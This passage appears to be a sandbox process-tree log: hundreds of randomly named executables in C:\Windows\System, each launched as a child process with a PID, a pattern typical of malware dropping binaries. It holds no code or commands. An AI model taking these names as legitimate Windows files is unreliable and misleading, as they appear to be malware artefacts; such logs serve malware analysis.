  C:\Windows\System\vsaRqLv.exe
  2⤵
  PID:6172
- C:\Windows\System\dZqjZuc.exe
  C:\Windows\System\dZqjZuc.exe
  2⤵
  PID:6188
- C:\Windows\System\EHalulb.exe
  C:\Windows\System\EHalulb.exe
  2⤵
  PID:6204
- C:\Windows\System\uSYTFBv.exe
  C:\Windows\System\uSYTFBv.exe
  2⤵
  PID:6220
- C:\Windows\System\qtpkRaM.exe
  C:\Windows\System\qtpkRaM.exe
  2⤵
  PID:6236
- C:\Windows\System\VBLrFAU.exe
  C:\Windows\System\VBLrFAU.exe
  2⤵
  PID:6252
- C:\Windows\System\yTPwgTI.exe
  C:\Windows\System\yTPwgTI.exe
  2⤵
  PID:6268
- C:\Windows\System\TBmQFKp.exe
  C:\Windows\System\TBmQFKp.exe
  2⤵
  PID:6284
- C:\Windows\System\HgdjIpU.exe
  C:\Windows\System\HgdjIpU.exe
  2⤵
  PID:6300
- C:\Windows\System\rejXmRP.exe
  C:\Windows\System\rejXmRP.exe
  2⤵
  PID:6316
- C:\Windows\System\uvrIVXk.exe
  C:\Windows\System\uvrIVXk.exe
  2⤵
  PID:6332
- C:\Windows\System\yDlRxBO.exe
  C:\Windows\System\yDlRxBO.exe
  2⤵
  PID:6348
- C:\Windows\System\osHuJoE.exe
  C:\Windows\System\osHuJoE.exe
  2⤵
  PID:6364
- C:\Windows\System\mlvklUt.exe
  C:\Windows\System\mlvklUt.exe
  2⤵
  PID:6380
- C:\Windows\System\wawTxpZ.exe
  C:\Windows\System\wawTxpZ.exe
  2⤵
  PID:6396
- C:\Windows\System\zndwuTd.exe
  C:\Windows\System\zndwuTd.exe
  2⤵
  PID:6412
- C:\Windows\System\BZSdWpN.exe
  C:\Windows\System\BZSdWpN.exe
  2⤵
  PID:6428
- C:\Windows\System\UdiPngm.exe
  C:\Windows\System\UdiPngm.exe
  2⤵
  PID:6444
- C:\Windows\System\PneCRlj.exe
  C:\Windows\System\PneCRlj.exe
  2⤵
  PID:6460
- C:\Windows\System\xYTJQse.exe
  C:\Windows\System\xYTJQse.exe
  2⤵
  PID:6476
- C:\Windows\System\HFsuWFe.exe
  C:\Windows\System\HFsuWFe.exe
  2⤵
  PID:6492
- C:\Windows\System\CbVQjEk.exe
  C:\Windows\System\CbVQjEk.exe
  2⤵
  PID:6508
- C:\Windows\System\WAkevii.exe
  C:\Windows\System\WAkevii.exe
  2⤵
  PID:6524
- C:\Windows\System\CanDQhl.exe
  C:\Windows\System\CanDQhl.exe
  2⤵
  PID:6540
- C:\Windows\System\eljTvFn.exe
  C:\Windows\System\eljTvFn.exe
  2⤵
  PID:6556
- C:\Windows\System\ZfipFdq.exe
  C:\Windows\System\ZfipFdq.exe
  2⤵
  PID:6572
- C:\Windows\System\icRKScY.exe
  C:\Windows\System\icRKScY.exe
  2⤵
  PID:6588
- C:\Windows\System\sQnBcXG.exe
  C:\Windows\System\sQnBcXG.exe
  2⤵
  PID:6612
- C:\Windows\System\gyWkCKA.exe
  C:\Windows\System\gyWkCKA.exe
  2⤵
  PID:6628
- C:\Windows\System\ISYoyZi.exe
  C:\Windows\System\ISYoyZi.exe
  2⤵
  PID:6644
- C:\Windows\System\XPRNVjl.exe
  C:\Windows\System\XPRNVjl.exe
  2⤵
  PID:6664
- C:\Windows\System\zKOsfft.exe
  C:\Windows\System\zKOsfft.exe
  2⤵
  PID:6680
- C:\Windows\System\IeqANTf.exe
  C:\Windows\System\IeqANTf.exe
  2⤵
  PID:6696
- C:\Windows\System\sSWnQFK.exe
  C:\Windows\System\sSWnQFK.exe
  2⤵
  PID:6712
- C:\Windows\System\vVBaltc.exe
  C:\Windows\System\vVBaltc.exe
  2⤵
  PID:6728
- C:\Windows\System\HHgrxtD.exe
  C:\Windows\System\HHgrxtD.exe
  2⤵
  PID:6744
- C:\Windows\System\VOQbGmO.exe
  C:\Windows\System\VOQbGmO.exe
  2⤵
  PID:6760
- C:\Windows\System\pooeqrN.exe
  C:\Windows\System\pooeqrN.exe
  2⤵
  PID:6776
- C:\Windows\System\KBaEckd.exe
  C:\Windows\System\KBaEckd.exe
  2⤵
  PID:6792
- C:\Windows\System\csYIIpv.exe
  C:\Windows\System\csYIIpv.exe
  2⤵
  PID:6808
- C:\Windows\System\GFYjZsH.exe
  C:\Windows\System\GFYjZsH.exe
  2⤵
  PID:6824
- C:\Windows\System\IHuQKqF.exe
  C:\Windows\System\IHuQKqF.exe
  2⤵
  PID:6840
- C:\Windows\System\WoqNqAI.exe
  C:\Windows\System\WoqNqAI.exe
  2⤵
  PID:6856
- C:\Windows\System\mlKpIeg.exe
  C:\Windows\System\mlKpIeg.exe
  2⤵
  PID:6872
- C:\Windows\System\SKQOuKI.exe
  C:\Windows\System\SKQOuKI.exe
  2⤵
  PID:6888
- C:\Windows\System\yLJonqV.exe
  C:\Windows\System\yLJonqV.exe
  2⤵
  PID:6904
- C:\Windows\System\UTnfItn.exe
  C:\Windows\System\UTnfItn.exe
  2⤵
  PID:6920
- C:\Windows\System\AcGVcVh.exe
  C:\Windows\System\AcGVcVh.exe
  2⤵
  PID:6936
- C:\Windows\System\xJBvtdu.exe
  C:\Windows\System\xJBvtdu.exe
  2⤵
  PID:6952
- C:\Windows\System\QMjSDzv.exe
  C:\Windows\System\QMjSDzv.exe
  2⤵
  PID:6968
- C:\Windows\System\hhdmLoa.exe
  C:\Windows\System\hhdmLoa.exe
  2⤵
  PID:6984
- C:\Windows\System\kwYxjBG.exe
  C:\Windows\System\kwYxjBG.exe
  2⤵
  PID:7000
- C:\Windows\System\UvLOhdu.exe
  C:\Windows\System\UvLOhdu.exe
  2⤵
  PID:7016
- C:\Windows\System\MDCndPJ.exe
  C:\Windows\System\MDCndPJ.exe
  2⤵
  PID:7032
- C:\Windows\System\InYwIYu.exe
  C:\Windows\System\InYwIYu.exe
  2⤵
  PID:7048
- C:\Windows\System\imCLjYr.exe
  C:\Windows\System\imCLjYr.exe
  2⤵
  PID:7064
- C:\Windows\System\TFMuOlG.exe
  C:\Windows\System\TFMuOlG.exe
  2⤵
  PID:7080
- C:\Windows\System\QkyIcWD.exe
  C:\Windows\System\QkyIcWD.exe
  2⤵
  PID:7096
- C:\Windows\System\WMtlnHo.exe
  C:\Windows\System\WMtlnHo.exe
  2⤵
  PID:7112
- C:\Windows\System\mLmTZvw.exe
  C:\Windows\System\mLmTZvw.exe
  2⤵
  PID:7128
- C:\Windows\System\gMArKMn.exe
  C:\Windows\System\gMArKMn.exe
  2⤵
  PID:7144
- C:\Windows\System\ZOZmJZr.exe
  C:\Windows\System\ZOZmJZr.exe
  2⤵
  PID:7160
- C:\Windows\System\biIEose.exe
  C:\Windows\System\biIEose.exe
  2⤵
  PID:6184
- C:\Windows\System\uFeubHz.exe
  C:\Windows\System\uFeubHz.exe
  2⤵
  PID:6248
- C:\Windows\System\BoGulqW.exe
  C:\Windows\System\BoGulqW.exe
  2⤵
  PID:5768
- C:\Windows\System\cBynkrI.exe
  C:\Windows\System\cBynkrI.exe
  2⤵
  PID:5756
- C:\Windows\System\nNEgQag.exe
  C:\Windows\System\nNEgQag.exe
  2⤵
  PID:6044
- C:\Windows\System\xGLPzwb.exe
  C:\Windows\System\xGLPzwb.exe
  2⤵
  PID:5332
- C:\Windows\System\BfHbIQN.exe
  C:\Windows\System\BfHbIQN.exe
  2⤵
  PID:6200
- C:\Windows\System\ksjodoe.exe
  C:\Windows\System\ksjodoe.exe
  2⤵
  PID:6308
- C:\Windows\System\MESzJlf.exe
  C:\Windows\System\MESzJlf.exe
  2⤵
  PID:6292
- C:\Windows\System\oumiAqB.exe
  C:\Windows\System\oumiAqB.exe
  2⤵
  PID:6376
- C:\Windows\System\KQHKPuT.exe
  C:\Windows\System\KQHKPuT.exe
  2⤵
  PID:6440
- C:\Windows\System\YAfnfil.exe
  C:\Windows\System\YAfnfil.exe
  2⤵
  PID:6504
- C:\Windows\System\lWfaDUL.exe
  C:\Windows\System\lWfaDUL.exe
  2⤵
  PID:6392
- C:\Windows\System\XebTZTI.exe
  C:\Windows\System\XebTZTI.exe
  2⤵
  PID:6360
- C:\Windows\System\JtHdGcG.exe
  C:\Windows\System\JtHdGcG.exe
  2⤵
  PID:6452
- C:\Windows\System\yMwNePu.exe
  C:\Windows\System\yMwNePu.exe
  2⤵
  PID:6516
- C:\Windows\System\MMupnfg.exe
  C:\Windows\System\MMupnfg.exe
  2⤵
  PID:6552
- C:\Windows\System\TUTcoKS.exe
  C:\Windows\System\TUTcoKS.exe
  2⤵
  PID:6584
- C:\Windows\System\oDJpizI.exe
  C:\Windows\System\oDJpizI.exe
  2⤵
  PID:6640
- C:\Windows\System\nqqWKca.exe
  C:\Windows\System\nqqWKca.exe
  2⤵
  PID:6676
- C:\Windows\System\CERWnST.exe
  C:\Windows\System\CERWnST.exe
  2⤵
  PID:6736
- C:\Windows\System\ObrOAgI.exe
  C:\Windows\System\ObrOAgI.exe
  2⤵
  PID:6800
- C:\Windows\System\kQAZQOG.exe
  C:\Windows\System\kQAZQOG.exe
  2⤵
  PID:6864
- C:\Windows\System\tONyYSK.exe
  C:\Windows\System\tONyYSK.exe
  2⤵
  PID:6928
- C:\Windows\System\YJmkMrA.exe
  C:\Windows\System\YJmkMrA.exe
  2⤵
  PID:6884
- C:\Windows\System\oWTPJHf.exe
  C:\Windows\System\oWTPJHf.exe
  2⤵
  PID:6996
- C:\Windows\System\rEqDBmv.exe
  C:\Windows\System\rEqDBmv.exe
  2⤵
  PID:7060
- C:\Windows\System\QgYzpMn.exe
  C:\Windows\System\QgYzpMn.exe
  2⤵
  PID:7092
- C:\Windows\System\bwXSLwV.exe
  C:\Windows\System\bwXSLwV.exe
  2⤵
  PID:7120
- C:\Windows\System\DKwVnKi.exe
  C:\Windows\System\DKwVnKi.exe
  2⤵
  PID:6216
- C:\Windows\System\sphrLel.exe
  C:\Windows\System\sphrLel.exe
  2⤵
  PID:5164
- C:\Windows\System\ELQqwIj.exe
  C:\Windows\System\ELQqwIj.exe
  2⤵
  PID:5984
- C:\Windows\System\GjlluyE.exe
  C:\Windows\System\GjlluyE.exe
  2⤵
  PID:6788
- C:\Windows\System\hpFkoCI.exe
  C:\Windows\System\hpFkoCI.exe
  2⤵
  PID:7008
- C:\Windows\System\efEGZvp.exe
  C:\Windows\System\efEGZvp.exe
  2⤵
  PID:7076
- C:\Windows\System\YqOqZZD.exe
  C:\Windows\System\YqOqZZD.exe
  2⤵
  PID:6472
- C:\Windows\System\XxKkIth.exe
  C:\Windows\System\XxKkIth.exe
  2⤵
  PID:7136
- C:\Windows\System\UCvCygQ.exe
  C:\Windows\System\UCvCygQ.exe
  2⤵
  PID:6488
- C:\Windows\System\fQMqoZa.exe
  C:\Windows\System\fQMqoZa.exe
  2⤵
  PID:6580
- C:\Windows\System\TThTeYx.exe
  C:\Windows\System\TThTeYx.exe
  2⤵
  PID:4672
- C:\Windows\System\qhJybut.exe
  C:\Windows\System\qhJybut.exe
  2⤵
  PID:6276
- C:\Windows\System\GmDJljE.exe
  C:\Windows\System\GmDJljE.exe
  2⤵
  PID:6420
- C:\Windows\System\CDylnIz.exe
  C:\Windows\System\CDylnIz.exe
  2⤵
  PID:6896
- C:\Windows\System\oCYZclG.exe
  C:\Windows\System\oCYZclG.exe
  2⤵
  PID:5504
- C:\Windows\System\sKUSYVh.exe
  C:\Windows\System\sKUSYVh.exe
  2⤵
  PID:6548
- C:\Windows\System\SdONkxB.exe
  C:\Windows\System\SdONkxB.exe
  2⤵
  PID:6568
- C:\Windows\System\HgMCBwW.exe
  C:\Windows\System\HgMCBwW.exe
  2⤵
  PID:6624
- C:\Windows\System\HYCTLgn.exe
  C:\Windows\System\HYCTLgn.exe
  2⤵
  PID:6836
- C:\Windows\System\vBHGnYa.exe
  C:\Windows\System\vBHGnYa.exe
  2⤵
  PID:7152
- C:\Windows\System\CJcOGhA.exe
  C:\Windows\System\CJcOGhA.exe
  2⤵
  PID:7028
- C:\Windows\System\sfPkOpg.exe
  C:\Windows\System\sfPkOpg.exe
  2⤵
  PID:6880
- C:\Windows\System\cLPjhWI.exe
  C:\Windows\System\cLPjhWI.exe
  2⤵
  PID:6296
- C:\Windows\System\lvEIbwq.exe
  C:\Windows\System\lvEIbwq.exe
  2⤵
  PID:6980
- C:\Windows\System\PFEdORB.exe
  C:\Windows\System\PFEdORB.exe
  2⤵
  PID:6356
- C:\Windows\System\gKgQToJ.exe
  C:\Windows\System\gKgQToJ.exe
  2⤵
  PID:7104
- C:\Windows\System\yVCFKNJ.exe
  C:\Windows\System\yVCFKNJ.exe
  2⤵
  PID:6436
- C:\Windows\System\EDiVsAC.exe
  C:\Windows\System\EDiVsAC.exe
  2⤵
  PID:6816
- C:\Windows\System\FUdqGVJ.exe
  C:\Windows\System\FUdqGVJ.exe
  2⤵
  PID:7040
- C:\Windows\System\dOaRjCP.exe
  C:\Windows\System\dOaRjCP.exe
  2⤵
  PID:6720
- C:\Windows\System\DijTtDv.exe
  C:\Windows\System\DijTtDv.exe
  2⤵
  PID:6148
- C:\Windows\System\CfRVwgv.exe
  C:\Windows\System\CfRVwgv.exe
  2⤵
  PID:6196
- C:\Windows\System\FmtwtgL.exe
  C:\Windows\System\FmtwtgL.exe
  2⤵
  PID:6692
- C:\Windows\System\JEmUVWw.exe
  C:\Windows\System\JEmUVWw.exe
  2⤵
  PID:6756
- C:\Windows\System\qgEtlvA.exe
  C:\Windows\System\qgEtlvA.exe
  2⤵
  PID:6832
- C:\Windows\System\mXqRKZg.exe
  C:\Windows\System\mXqRKZg.exe
  2⤵
  PID:6564
- C:\Windows\System\TbSFgmY.exe
  C:\Windows\System\TbSFgmY.exe
  2⤵
  PID:6164
- C:\Windows\System\XWSJlPD.exe
  C:\Windows\System\XWSJlPD.exe
  2⤵
  PID:6636
- C:\Windows\System\CnnBozj.exe
  C:\Windows\System\CnnBozj.exe
  2⤵
  PID:7184
- C:\Windows\System\HDTcCha.exe
  C:\Windows\System\HDTcCha.exe
  2⤵
  PID:7200
- C:\Windows\System\Qfapanp.exe
  C:\Windows\System\Qfapanp.exe
  2⤵
  PID:7216
- C:\Windows\System\aVJDPMM.exe
  C:\Windows\System\aVJDPMM.exe
  2⤵
  PID:7232
- C:\Windows\System\QTZxRNN.exe
  C:\Windows\System\QTZxRNN.exe
  2⤵
  PID:7248
- C:\Windows\System\mGZoPek.exe
  C:\Windows\System\mGZoPek.exe
  2⤵
  PID:7264
- C:\Windows\System\rawVKiD.exe
  C:\Windows\System\rawVKiD.exe
  2⤵
  PID:7280
- C:\Windows\System\wpdYIeI.exe
  C:\Windows\System\wpdYIeI.exe
  2⤵
  PID:7296
- C:\Windows\System\MTwySjC.exe
  C:\Windows\System\MTwySjC.exe
  2⤵
  PID:7312
- C:\Windows\System\KYrnRSq.exe
  C:\Windows\System\KYrnRSq.exe
  2⤵
  PID:7328
- C:\Windows\System\LqWzOAA.exe
  C:\Windows\System\LqWzOAA.exe
  2⤵
  PID:7344
- C:\Windows\System\IEubDZg.exe
  C:\Windows\System\IEubDZg.exe
  2⤵
  PID:7360
- C:\Windows\System\AbfLwjE.exe
  C:\Windows\System\AbfLwjE.exe
  2⤵
  PID:7376
- C:\Windows\System\LqQOSYL.exe
  C:\Windows\System\LqQOSYL.exe
  2⤵
  PID:7392
- C:\Windows\System\kxndqKD.exe
  C:\Windows\System\kxndqKD.exe
  2⤵
  PID:7408
- C:\Windows\System\vKeDQcC.exe
  C:\Windows\System\vKeDQcC.exe
  2⤵
  PID:7424
- C:\Windows\System\VEKebqQ.exe
  C:\Windows\System\VEKebqQ.exe
  2⤵
  PID:7440
- C:\Windows\System\CbUStNM.exe
  C:\Windows\System\CbUStNM.exe
  2⤵
  PID:7456
- C:\Windows\System\OSslmPc.exe
  C:\Windows\System\OSslmPc.exe
  2⤵
  PID:7472
- C:\Windows\System\HevrSpu.exe
  C:\Windows\System\HevrSpu.exe
  2⤵
  PID:7488
- C:\Windows\System\zDzcYtc.exe
  C:\Windows\System\zDzcYtc.exe
  2⤵
  PID:7504
- C:\Windows\System\mzUcbrB.exe
  C:\Windows\System\mzUcbrB.exe
  2⤵
  PID:7520
- C:\Windows\System\sWiciOx.exe
  C:\Windows\System\sWiciOx.exe
  2⤵
  PID:7536
- C:\Windows\System\LDZFsrm.exe
  C:\Windows\System\LDZFsrm.exe
  2⤵
  PID:7552
- C:\Windows\System\cDTvXeC.exe
  C:\Windows\System\cDTvXeC.exe
  2⤵
  PID:7568
- C:\Windows\System\aCcWXqy.exe
  C:\Windows\System\aCcWXqy.exe
  2⤵
  PID:7584
- C:\Windows\System\SNFOLJI.exe
  C:\Windows\System\SNFOLJI.exe
  2⤵
  PID:7600
- C:\Windows\System\yqbCQEu.exe
  C:\Windows\System\yqbCQEu.exe
  2⤵
  PID:7616
- C:\Windows\System\JzicFlg.exe
  C:\Windows\System\JzicFlg.exe
  2⤵
  PID:7632
- C:\Windows\System\QVZzRJF.exe
  C:\Windows\System\QVZzRJF.exe
  2⤵
  PID:7648
- C:\Windows\System\BKWrcCP.exe
  C:\Windows\System\BKWrcCP.exe
  2⤵
  PID:7664
- C:\Windows\System\gNLCOKJ.exe
  C:\Windows\System\gNLCOKJ.exe
  2⤵
  PID:7680
- C:\Windows\System\sqrwwhz.exe
  C:\Windows\System\sqrwwhz.exe
  2⤵
  PID:7696
- C:\Windows\System\oAxukej.exe
  C:\Windows\System\oAxukej.exe
  2⤵
  PID:7712
- C:\Windows\System\gaWwomD.exe
  C:\Windows\System\gaWwomD.exe
  2⤵
  PID:7728
- C:\Windows\System\eBWObBb.exe
  C:\Windows\System\eBWObBb.exe
  2⤵
  PID:7744
- C:\Windows\System\fShMWuy.exe
  C:\Windows\System\fShMWuy.exe
  2⤵
  PID:7760
- C:\Windows\System\eddakjo.exe
  C:\Windows\System\eddakjo.exe
  2⤵
  PID:7776
- C:\Windows\System\tEwOBGZ.exe
  C:\Windows\System\tEwOBGZ.exe
  2⤵
  PID:7792
- C:\Windows\System\OLwObIa.exe
  C:\Windows\System\OLwObIa.exe
  2⤵
  PID:7808
- C:\Windows\System\YVvVIDq.exe
  C:\Windows\System\YVvVIDq.exe
  2⤵
  PID:7824
- C:\Windows\System\XwQXWsX.exe
  C:\Windows\System\XwQXWsX.exe
  2⤵
  PID:7840
- C:\Windows\System\GVPSKjA.exe
  C:\Windows\System\GVPSKjA.exe
  2⤵
  PID:7856
- C:\Windows\System\HpmzjQN.exe
  C:\Windows\System\HpmzjQN.exe
  2⤵
  PID:7872
- C:\Windows\System\WwFDyPJ.exe
  C:\Windows\System\WwFDyPJ.exe
  2⤵
  PID:7888
- C:\Windows\System\uAIUPPo.exe
  C:\Windows\System\uAIUPPo.exe
  2⤵
  PID:7904
- C:\Windows\System\uFiSLqY.exe
  C:\Windows\System\uFiSLqY.exe
  2⤵
  PID:7920
- C:\Windows\System\jvOzNQp.exe
  C:\Windows\System\jvOzNQp.exe
  2⤵
  PID:7936
- C:\Windows\System\EYjLAYr.exe
  C:\Windows\System\EYjLAYr.exe
  2⤵
  PID:7952
- C:\Windows\System\BcquOab.exe
  C:\Windows\System\BcquOab.exe
  2⤵
  PID:7968
- C:\Windows\System\xmJPGQK.exe
  C:\Windows\System\xmJPGQK.exe
  2⤵
  PID:7984
- C:\Windows\System\KElnQPP.exe
  C:\Windows\System\KElnQPP.exe
  2⤵
  PID:8000
- C:\Windows\System\uOOLDUC.exe
  C:\Windows\System\uOOLDUC.exe
  2⤵
  PID:8016
- C:\Windows\System\HPhUpcc.exe
  C:\Windows\System\HPhUpcc.exe
  2⤵
  PID:8032
- C:\Windows\System\mCfxYGE.exe
  C:\Windows\System\mCfxYGE.exe
  2⤵
  PID:8048
- C:\Windows\System\nouSVCA.exe
  C:\Windows\System\nouSVCA.exe
  2⤵
  PID:8064
- C:\Windows\System\mBEEYPG.exe
  C:\Windows\System\mBEEYPG.exe
  2⤵
  PID:8084
- C:\Windows\System\UNwpFGj.exe
  C:\Windows\System\UNwpFGj.exe
  2⤵
  PID:8100
- C:\Windows\System\AKQbGIV.exe
  C:\Windows\System\AKQbGIV.exe
  2⤵
  PID:8116
- C:\Windows\System\grzFMud.exe
  C:\Windows\System\grzFMud.exe
  2⤵
  PID:8132
- C:\Windows\System\EONlkKB.exe
  C:\Windows\System\EONlkKB.exe
  2⤵
  PID:8148
- C:\Windows\System\rdFZuKg.exe
  C:\Windows\System\rdFZuKg.exe
  2⤵
  PID:8164
- C:\Windows\System\msBFceW.exe
  C:\Windows\System\msBFceW.exe
  2⤵
  PID:8180
- C:\Windows\System\ldrOgsb.exe
  C:\Windows\System\ldrOgsb.exe
  2⤵
  PID:7240
- C:\Windows\System\YKotiKU.exe
  C:\Windows\System\YKotiKU.exe
  2⤵
  PID:7176
- C:\Windows\System\toeBrdo.exe
  C:\Windows\System\toeBrdo.exe
  2⤵
  PID:6484
- C:\Windows\System\yNGizBK.exe
  C:\Windows\System\yNGizBK.exe
  2⤵
  PID:6848
- C:\Windows\System\whdHtBz.exe
  C:\Windows\System\whdHtBz.exe
  2⤵
  PID:7228
- C:\Windows\System\aEyyokU.exe
  C:\Windows\System\aEyyokU.exe
  2⤵
  PID:7320
- C:\Windows\System\nlBovnE.exe
  C:\Windows\System\nlBovnE.exe
  2⤵
  PID:7308
- C:\Windows\System\EFcQJYU.exe
  C:\Windows\System\EFcQJYU.exe
  2⤵
  PID:7388
- C:\Windows\System\Svjsnhg.exe
  C:\Windows\System\Svjsnhg.exe
  2⤵
  PID:7452
- C:\Windows\System\gMdruDZ.exe
  C:\Windows\System\gMdruDZ.exe
  2⤵
  PID:7516
- C:\Windows\System\ktNwnlW.exe
  C:\Windows\System\ktNwnlW.exe
  2⤵
  PID:7336
- C:\Windows\System\jHtSNkK.exe
  C:\Windows\System\jHtSNkK.exe
  2⤵
  PID:7400
- C:\Windows\System\sTAOrLT.exe
  C:\Windows\System\sTAOrLT.exe
  2⤵
  PID:7436
- C:\Windows\System\YkSpFMi.exe
  C:\Windows\System\YkSpFMi.exe
  2⤵
  PID:7276
- C:\Windows\System\heXNkgI.exe
  C:\Windows\System\heXNkgI.exe
  2⤵
  PID:7592
- C:\Windows\System\TdBdrsS.exe
  C:\Windows\System\TdBdrsS.exe
  2⤵
  PID:7576
- C:\Windows\System\BSvYYUe.exe
  C:\Windows\System\BSvYYUe.exe
  2⤵
  PID:7660
- C:\Windows\System\abCtpYJ.exe
  C:\Windows\System\abCtpYJ.exe
  2⤵
  PID:7644
- C:\Windows\System\LSNqGlx.exe
  C:\Windows\System\LSNqGlx.exe
  2⤵
  PID:7724
- C:\Windows\System\yuFetyL.exe
  C:\Windows\System\yuFetyL.exe
  2⤵
  PID:7736
- C:\Windows\System\EfxmnyU.exe
  C:\Windows\System\EfxmnyU.exe
  2⤵
  PID:7768
- C:\Windows\System\lIoOxMI.exe
  C:\Windows\System\lIoOxMI.exe
  2⤵
  PID:7800
- C:\Windows\System\PvkJzTN.exe
  C:\Windows\System\PvkJzTN.exe
  2⤵
  PID:7820
- C:\Windows\System\SGzRqRI.exe
  C:\Windows\System\SGzRqRI.exe
  2⤵
  PID:7884
- C:\Windows\System\GUhBJLA.exe
  C:\Windows\System\GUhBJLA.exe
  2⤵
  PID:7896
- C:\Windows\System\vOiWvsQ.exe
  C:\Windows\System\vOiWvsQ.exe
  2⤵
  PID:7944
- C:\Windows\System\LEMCMAI.exe
  C:\Windows\System\LEMCMAI.exe
  2⤵
  PID:7980
- C:\Windows\System\lWezqje.exe
  C:\Windows\System\lWezqje.exe
  2⤵
  PID:7960
- C:\Windows\System\yGDpEKE.exe
  C:\Windows\System\yGDpEKE.exe
  2⤵
  PID:8040
- C:\Windows\System\xmnCmyF.exe
  C:\Windows\System\xmnCmyF.exe
  2⤵
  PID:8108
- C:\Windows\System\JweLdvN.exe
  C:\Windows\System\JweLdvN.exe
  2⤵
  PID:8172
- C:\Windows\System\uDXKkSQ.exe
  C:\Windows\System\uDXKkSQ.exe
  2⤵
  PID:8024
- C:\Windows\System\BtWINkk.exe
  C:\Windows\System\BtWINkk.exe
  2⤵
  PID:8160
- C:\Windows\System\UEFPBve.exe
  C:\Windows\System\UEFPBve.exe
  2⤵
  PID:8096
- C:\Windows\System\bTrsrNB.exe
  C:\Windows\System\bTrsrNB.exe
  2⤵
  PID:8188
- C:\Windows\System\ginXcTm.exe
  C:\Windows\System\ginXcTm.exe
  2⤵
  PID:7272
- C:\Windows\System\QhAGVvI.exe
  C:\Windows\System\QhAGVvI.exe
  2⤵
  PID:7224
- C:\Windows\System\ETQhBxP.exe
  C:\Windows\System\ETQhBxP.exe
  2⤵
  PID:6916
- C:\Windows\System\VDNdiLx.exe
  C:\Windows\System\VDNdiLx.exe
  2⤵
  PID:7528
- C:\Windows\System\iFIyRyg.exe
  C:\Windows\System\iFIyRyg.exe
  2⤵
  PID:7560
- C:\Windows\System\qcvVVrj.exe
  C:\Windows\System\qcvVVrj.exe
  2⤵
  PID:7672
- C:\Windows\System\ECenxdp.exe
  C:\Windows\System\ECenxdp.exe
  2⤵
  PID:7372
- C:\Windows\System\kMclTTt.exe
  C:\Windows\System\kMclTTt.exe
  2⤵
  PID:7628
- C:\Windows\System\afFeiBy.exe
  C:\Windows\System\afFeiBy.exe
  2⤵
  PID:7708
- C:\Windows\System\YhPlyFQ.exe
  C:\Windows\System\YhPlyFQ.exe
  2⤵
  PID:7836
- C:\Windows\System\vbKTxDI.exe
  C:\Windows\System\vbKTxDI.exe
  2⤵
  PID:7912
- C:\Windows\System\oMxIpNg.exe
  C:\Windows\System\oMxIpNg.exe
  2⤵
  PID:8076
- C:\Windows\System\IhaHsEg.exe
  C:\Windows\System\IhaHsEg.exe
  2⤵
  PID:8060
- C:\Windows\System\pgxRlCh.exe
  C:\Windows\System\pgxRlCh.exe
  2⤵
  PID:7868
- C:\Windows\System\oOgtVKN.exe
  C:\Windows\System\oOgtVKN.exe
  2⤵
  PID:8012
- C:\Windows\System\chqlZwh.exe
  C:\Windows\System\chqlZwh.exe
  2⤵
  PID:7304
- C:\Windows\System\zJXXgGS.exe
  C:\Windows\System\zJXXgGS.exe
  2⤵
  PID:8128
- C:\Windows\System\Nogmtcf.exe
  C:\Windows\System\Nogmtcf.exe
  2⤵
  PID:7512
- C:\Windows\System\wGEFrpQ.exe
  C:\Windows\System\wGEFrpQ.exe
  2⤵
  PID:7656
- C:\Windows\System\DpUpwrZ.exe
  C:\Windows\System\DpUpwrZ.exe
  2⤵
  PID:7704
- C:\Windows\System\xyMEKwb.exe
  C:\Windows\System\xyMEKwb.exe
  2⤵
  PID:7208
- C:\Windows\System\QPOhJqq.exe
  C:\Windows\System\QPOhJqq.exe
  2⤵
  PID:6752
- C:\Windows\System\ReFooiT.exe
  C:\Windows\System\ReFooiT.exe
  2⤵
  PID:7740
- C:\Windows\System\zrtaNtv.exe
  C:\Windows\System\zrtaNtv.exe
  2⤵
  PID:7756
- C:\Windows\System\emngRAu.exe
  C:\Windows\System\emngRAu.exe
  2⤵
  PID:6708
- C:\Windows\System\EJumiHY.exe
  C:\Windows\System\EJumiHY.exe
  2⤵
  PID:7356
- C:\Windows\System\EvGZXmn.exe
  C:\Windows\System\EvGZXmn.exe
  2⤵
  PID:7928
- C:\Windows\System\NFQyPdv.exe
  C:\Windows\System\NFQyPdv.exe
  2⤵
  PID:7468
- C:\Windows\System\iYbEMjl.exe
  C:\Windows\System\iYbEMjl.exe
  2⤵
  PID:7816
- C:\Windows\System\KdchswV.exe
  C:\Windows\System\KdchswV.exe
  2⤵
  PID:7624
- C:\Windows\System\Jjmshwc.exe
  C:\Windows\System\Jjmshwc.exe
  2⤵
  PID:7832
- C:\Windows\System\FtLtgif.exe
  C:\Windows\System\FtLtgif.exe
  2⤵
  PID:8200
- C:\Windows\System\AFfUyau.exe
  C:\Windows\System\AFfUyau.exe
  2⤵
  PID:8216
- C:\Windows\System\gxXnHzC.exe
  C:\Windows\System\gxXnHzC.exe
  2⤵
  PID:8232
- C:\Windows\System\eNOTjAb.exe
  C:\Windows\System\eNOTjAb.exe
  2⤵
  PID:8248
- C:\Windows\System\siCBYWS.exe
  C:\Windows\System\siCBYWS.exe
  2⤵
  PID:8264
- C:\Windows\System\KgDyTKz.exe
  C:\Windows\System\KgDyTKz.exe
  2⤵
  PID:8280
- C:\Windows\System\XynFXQK.exe
  C:\Windows\System\XynFXQK.exe
  2⤵
  PID:8296
- C:\Windows\System\clTykZL.exe
  C:\Windows\System\clTykZL.exe
  2⤵
  PID:8312
- C:\Windows\System\MFuSAeb.exe
  C:\Windows\System\MFuSAeb.exe
  2⤵
  PID:8328
- C:\Windows\System\yZhjCDQ.exe
  C:\Windows\System\yZhjCDQ.exe
  2⤵
  PID:8344
- C:\Windows\System\CxoKviH.exe
  C:\Windows\System\CxoKviH.exe
  2⤵
  PID:8360
- C:\Windows\System\BRqzefR.exe
  C:\Windows\System\BRqzefR.exe
  2⤵
  PID:8376
- C:\Windows\System\LSGpKsk.exe
  C:\Windows\System\LSGpKsk.exe
  2⤵
  PID:8392
- C:\Windows\System\TcTCriI.exe
  C:\Windows\System\TcTCriI.exe
  2⤵
  PID:8408
- C:\Windows\System\XjwPJgl.exe
  C:\Windows\System\XjwPJgl.exe
  2⤵
  PID:8424
- C:\Windows\System\gEvCRxs.exe
  C:\Windows\System\gEvCRxs.exe
  2⤵
  PID:8440
- C:\Windows\System\iQlafqz.exe
  C:\Windows\System\iQlafqz.exe
  2⤵
  PID:8456
- C:\Windows\System\GonNiko.exe
  C:\Windows\System\GonNiko.exe
  2⤵
  PID:8472
- C:\Windows\System\aQldcDF.exe
  C:\Windows\System\aQldcDF.exe
  2⤵
  PID:8488
